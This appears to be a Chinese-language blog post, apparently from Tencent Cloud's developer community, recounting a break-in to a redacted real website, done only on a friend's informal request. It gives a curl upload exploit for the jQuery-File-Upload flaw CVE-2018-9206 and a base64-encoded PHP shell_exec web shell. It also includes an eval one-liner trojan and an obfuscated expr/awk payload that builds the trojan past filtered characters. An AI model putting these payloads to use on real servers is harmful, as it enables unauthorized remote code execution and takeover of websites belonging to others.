起因:
最近无聊嘛,正好在公司的朋友丢过来一个站,让帮忙看看,那就搞起呗...
过程:
目标地址:
www.xxx.com
延迟搞到我怀疑人生。
先来一波基本的信息收集:
再来看看WAF情况
Checking https://www.xxxx.com/
Generic Detection results:
The site https://www.xxx.com/ seems to be behind a WAF or some sort of security solution
Reason: Blocking is being done at connection/packet level.
Number of requests: 1
端口开放情况这里推荐大家一个插件shodan直接探测端口,很方便:
前台基本没什么漏洞,随手扫了一下目录,扫到了一个地址,只能说自己字典还不错:
https://www.xxx.com/scripts/jQuery-File-Upload
访问之:
jQuery上传组件,这个组建的漏洞还是蛮多的,详情请戳:https://xz.aliyun.com/t/3819
要是有CVE-2018-9206可就太舒服了,该漏洞影响版本为
version <= 9.22.0 and with Apache > 2.3.9
在网上找到对应的漏洞利用工具,进行测试
人品这么差?失败??不存在的!!我们先来分析一下这个exp的检测方式,首先根据路径拼接一下路径:
"server/php/upload.class.php" "example/upload.php" "server/php/UploadHandler.php" "php/index.php"
若存在则构建以下数据包,进行上传:
curl --connect-timeout 10 -sk -A "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0" -F "files[]=@nwSezQ0fg6tf.php" -F "filename=nwSezQ0fg6tf.php" "https://www.xxx.com/scripts/jQuery-File-Upload//server/php/index.php"
文件名为随机的,文件内容为:
<?php echo \"it works\"; unlink(__FILE__); ?>
然后拼接:
路径 + server/php/files/刚才随机的文件名.php
若文件存在且内容中存在it works则显示成功,可是这样也存在一些缺点就是,一旦网站管理人员更改了上传目录,你就会一直失败,根据多年经验,盲猜文件上传后的地址在刚才的upload目录中:果然访问以下地址,出现403
https://www.xxx.com/upload/files/
然后加上文件名,发现文件上次成功:
下面就好说了,直接写shell就好了,可是linux下直接写shell是不行的,会出现下面这样的情况:
这个倒是好说,使用base64写入就好了,写入后菜刀一直无法连接,提示返回信息为空,怀疑是disable_function在作怪,传phpinfo查看:
disbale_function如下:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority
没发现什么,换shell_exec尝试,将exp中的
echo "<?php echo \"it works\"; unlink(__FILE__); ?>" > ${MALICIOUS_FILE}
替换为:
echo -n "PD9waHAgJGNtZD0kX0dFVFsibmFtZSJdO2VjaG8gc2hlbGxfZXhlYygkY21kKTsgPz4=" | base64 -d > ${MALICIOUS_FILE}
访问,执行命令成功:
这样总归不如菜刀、蚁剑来的方便,我们还是可以选择去写一个shell进去,大体方案有如下两种:
1.如何echo 写shell
2.如何通过下载得shell
如何echo 写shell,以写一句话PHP木马为例,主要解决的是.(点)的问题,$(美元符号),以及>(管道符号)和括号,首先echo一个文件进去:
echo <?php eval($_REQUEST[v]);?> >test.php
既然不能生成那就 ”借”,直接借现有文件中的字符.可以从变量中借或者从现有的文件中借.用到的方法是linux Shell expr的方法.
payload如下:
echo `expr substr $(awk NR==1 xxoo) 1 1`?php eval`expr substr $(awk NR==11 xxoo) 33 1``expr substr $(awk NR==20 xxoo) 1 1`_REQUEST[v]`expr substr $(awk NR==11 xxoo) 35 1``expr substr $(awk NR==20 xxoo) 7 1``expr substr $(awk NR==17 xxoo) 2 1``expr substr $(awk NR==1 xxoo) 6 1` >2`expr substr $(awk NR==30 xxoo) 13 1`php;
2·就简单多了,wget,curl啥的,多的是。
其他的操作就到这里吧,毕竟人家不让提权哈哈哈
觉得好看就点个赞吧!
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有